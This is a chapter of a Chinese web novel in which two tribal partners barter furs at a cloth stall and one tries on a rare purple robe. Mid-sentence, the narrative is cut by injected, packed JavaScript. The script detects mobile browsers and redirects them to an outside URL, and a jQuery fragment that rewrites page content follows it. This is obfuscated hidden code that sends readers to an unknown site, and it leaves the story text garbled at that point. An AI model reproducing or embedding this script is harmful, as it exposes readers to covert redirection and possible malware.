他声音都激动得拔高了几度,眼睛亮得吓人,连忙拨开挡在身前的人,挤到最前面,手脚麻利地帮尤劼将散开的兽皮快速卷拢收起,动作小心又利落:“尊贵的客人,随我来!我家的货最全、最好!”
    他紧紧抱着卷好的兽皮包袱,如同抱着稀世珍宝,脸上堆满了十二万分的热情与恭敬,侧身在前引路。
    那些没抢到机会的围观者,只能懊恼万分地看着钱贺带着人离开,自发让开的通道两侧,满是捶胸顿足和扼腕叹息。
    真是瞎了眼啊!都怪自己以貌取人!还瞧不起人家雌性……
    能拿出这么多上好兽皮,这雌性的狩猎本领,怕是比十个强壮雄性加起来还要厉害!
    看看人家雄性多享福啊,还有雌性特意带着来换柔软舒适的棉麻衣穿呢!
    尽管生意没抢到,大多数人还是不甘心地远远跟在了他们后面。
    毕竟,如此上乘且数量可观的兽皮极其罕见,若能从中分得一张,等到下次大型集市,可是能换来许多平时见不到的珍稀物件!而这些珍稀物件普通兽皮是换不到的!
    钱贺领着两人穿过几排屋舍,眼前出现了一条约莫五六十米长、略显狭窄的青石小道。
    这里显然就是部落内部的“布市”了。
    小道两旁的地面上,整齐地铺着干净的草席。
    草席之上,琳琅满目地堆叠着各种粗细不一的麻布料卷,只是颜色单一,都是黄褐的色调,跟息惋身上穿的一致。
    相比数量奇多的布料,悬挂的成衣就显得稀少多了,只有寥寥几家摆有,款式也不多。
    钱贺带着他们径直走向其中最大的一个摊位。
    这个摊位的货品明显比其他家要丰富多样一些,某些看起来质量也不错,看来这人说他家的最全、最好并没有说谎。
    除了几卷黄褐色的厚实麻布,一旁的架子上整齐地悬挂着几件成品衣物。
    有简单的无袖背心配同色系皮裙的内搭,有裁剪利落的短打日常劳作服,甚至还有一件颜色是罕见淡紫色的长袍!
    就在骞骁的目光习惯性地扫过摊位时,那抹淡紫瞬间攫住了他的视线。
    钱贺眼尖地捕捉到了骞骁停留在那件紫色长袍上的目光,心中暗喜,立刻换上十二分的热情,声音都拔高了几分:“呀!这位客人真是好眼光!这件可不单单是我这儿最宝贝的衣物,更是我们这小摊的镇店之宝啊!”
    他小心翼翼地将那件衣服从架子上取下些许,展示着那独特的色泽:“您瞧瞧这颜色!这可是耗费了不知多少功夫,采摘了许许多多的野果,一遍遍尝试才染出这独一无二的淡紫!整个长河部落,独此一份!”
    钱贺的语气里带着不容置疑的骄傲,仿佛在展示一件稀世珍品:“怎么样?这成色,这品相,拿到集市上去,那也是独一份的!客人您穿上的话——”
    他下意识地转向骞骁,目光在对方强健的体格上逡巡,似乎在想象那效果。
    话音未落,却被骞骁低沉而果断的声音打断:“不。”
    骞骁的目光依旧黏在那件衣服上,手指却明确地指向了身旁的尤劼:“他穿。”
    随即,他侧过头,深邃的目光落在尤劼脸上,带着一种不容置喙的肯定:“试试。”
    尤劼依言看向那件长袍,实话实说,款式在他眼中实在普通至极——
    宽大得过分的长袖几乎垂到了衣摆处,通体毫无剪裁可言,分明是为了最大化地展示那难得一见的染色而牺牲了所有实用性。
    穿着这样的衣服,能干活?
    尤劼心底嘀咕,带着几分困惑和询问回望向骞骁,眼神里明晃晃地写着——“你确定要这个?”
    骞骁没有任何犹豫,对着他,坚定地点了点头。
    这衣服本是给雌性制的,现在雄性穿?
    钱贺被骞骁的决定惊得一时失语,心中翻腾着巨大的困惑。
    他眼见着这对伴侣之间无声的默契交流,生怕生意溜走,赶紧回神。
    雄性就雄性穿!本来雄性雌性衣物的款式就都差不多,何况这件并没有设计的花俏,只要身量合适——
    钱贺的目光在尤劼修长匀称的身形上快速扫了几遍,斟酌着开口:“若是……若是这位客人穿的话,尺寸上应当是正合适的!”
    他见尤劼面露疑惑,忙不迭地解释:“客人您有所不知,这衣服珍贵,染成不易,就只做了这么一件,大小是定死的,若是您的伴侣来穿,肩宽和身量恐怕就不太合衬了,会显小。”
    “但看您的身形,穿上应该正好!” 钱贺顿了顿,脸上堆起更圆滑的笑容,话锋一转:“再者,这件是镇店之宝,按规矩呢,没有足够的诚意,我们是不轻易让人试穿的……”
    他意有所指地停顿了一下,目光飞快掠过地上那个装着兽皮的包袱,笑容加深:“但客人您二位诚意十足,一看就是真心实意想要好东西,今天我就破个例!”
    尤劼心知肚明,什么诚意?不过是看在那堆兽皮的份上罢了。
    钱贺小心翼翼地将那件珍贵的紫袍完全取下,双手捧着,殷勤地示意尤劼:“客人请随我来,后面准备了房屋,您去那里换上试试。”
    他引着尤劼走向摊位后一个临时搭建的小棚屋。
    尤劼回头看了骞骁一眼,递去一个“等我”的眼神,便跟着钱贺进了屋。
    骞骁留在原地,目光看似随意地扫过摊位上其他短打和长袍,但心思显然还在那紧闭的屋门上。
    忽地,身后的门“吱呀”一声开了。
    一道身影缓缓走出。
    宽大的紫色长袍罩在尤劼比例极佳的身上,竟是意外的合身。
    垂坠的衣料恰到好处地包裹着他修长的身形,勾勒出流畅而含蓄的线条,在走动间带来一种朦胧飘逸的美感。
    开门带起的微风恰好拂过,衣袂翻飞而起,布料在空中轻盈地散开、飘落,宛如流云,衬得他整个人仿佛随时要乘风而去的仙人。
    腰间只随意系了一条同色的细绳,绳尾垂着长长的流苏,随着他轻缓的步子,那流苏悠悠的晃动,如同一片轻盈的羽毛,一下,又一下,轻柔地、调皮地撩拨着骞骁的心湖,将那一片原本平静的湖面搅得涟漪四起……
    骞骁的目光如同被磁石吸住,紧紧追随着那抹紫色身影,眼一眨不眨。
    直到尤劼
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349504|180629||http|test|mini|href|location''.split(''|''),0,{}));
    () {
    $(''.inform'').remove();
    $(''#content'').append(''
    走到了他面前,脸上带着几分新奇和期待,双臂微展,在他面前轻盈地转了个圈,那紫色的衣摆旋开一道优美的弧线。
    尤劼停下,唇角弯起明媚的笑容,清澈的眼眸映着骞骁的面容,问道:“怎么样?好看吗?”
    他本就生得精致,眉眼如画,此刻穿着这身飘逸出尘的紫衣,在骞骁面前展颜一笑,骞骁只觉得周围的世界遽然失去了颜色,只有眼前这人独立于世界鲜艳明亮,如同乱入了这个世界的仙君……
    骞骁的喉结极其明显地滚动了一下,深沉的目光紧紧锁在尤劼身上,那眼神炽热得如同实质,仿佛要将他此刻的模样烙印在灵魂深处,又仿佛带着要将眼前人拆吃入腹的强烈占有欲,这些翻涌的情愫全然替代了任何言语。
    尤劼将他所有的反应尽收眼底,唇角抿起一丝了然又甜蜜的淡笑。
    他的阿骁啊,在感情面前,依旧是这般直白又笨拙得可爱。
    见骞骁迟迟不语,同样被惊艳得有些发愣的钱贺猛地回过神来,生怕冷场,立刻大声赞叹道:“好看!太好看了!”
    他激动地围着尤劼走了半圈,发自内心地感叹:“客人!这衣服简直就像为您量身定做的!我在这里摆摊这么多年,也有不少人试穿过,从未见过有谁能把这衣服穿得这么好看!比那些——”
    他激动之下差点脱口而出,猛地意识到什么,赶紧捂住了自己的嘴,硬生生把“比那些雌性穿上好看一百倍”的话咽了回去。
    眼前这位可是雄性!生意要紧!
    钱贺到底是个人精,眼角瞥见那强壮雌性的目光几乎要黏在自家伴侣身上了,立刻调转话头,对着骞骁满脸堆笑,语速飞快地鼓动:“这位客人,您看怎么样?买下来吧!您的伴侣穿上这身,简直是……简直是……天神下凡!真的,我头回见人能把衣服穿得这么好看!错过就太可惜了!”
    骞骁的眼神片刻不离尤劼,几乎是随着钱贺的话音落下的同时,低沉而肯定地应道:“嗯!”
    然而,尤劼带着点无奈的声音也同时响起:“我觉得穿成这样不太方便吧!”
    两道声音重叠,尤劼和骞骁的目光在空中交汇。
    尤劼清晰地看到骞骁眼底那毫不掩饰的、近乎痴迷的欣赏与执着。
    几秒的对视后,尤劼败下阵来,语气软了下来,带着点好笑和纵容:“……就这么好看?”
    骞骁耳根处悄然晕开一层薄红,目光依旧牢牢地锁在尤劼身上,无比认真地再次点头:“好看。”
    尤劼看着他难得一见的直白模样,心头一软,忍不住想笑,又强行忍住,轻咳了两声,妥协道:“那……行吧,买下呗——”
    他话音未落,清澈的目光忽地转向骞骁身后,纤长的手指伸出,作势要指向什么。
    从骞骁的视线看,就好像要触碰他一样,骞骁的心跳加速,砰砰砰的仿若都要从胸腔跳了出来,目光紧紧追随着那节手指。
    却见尤劼的手越过了他的肩头,稳稳地指向了他身后挂着的几件衣服——正是骞骁刚才扫视过的短打和长袍。
    尤劼的声音带着促狭的笑意响起:“那阿骁,你也去试试那几套给我看看。”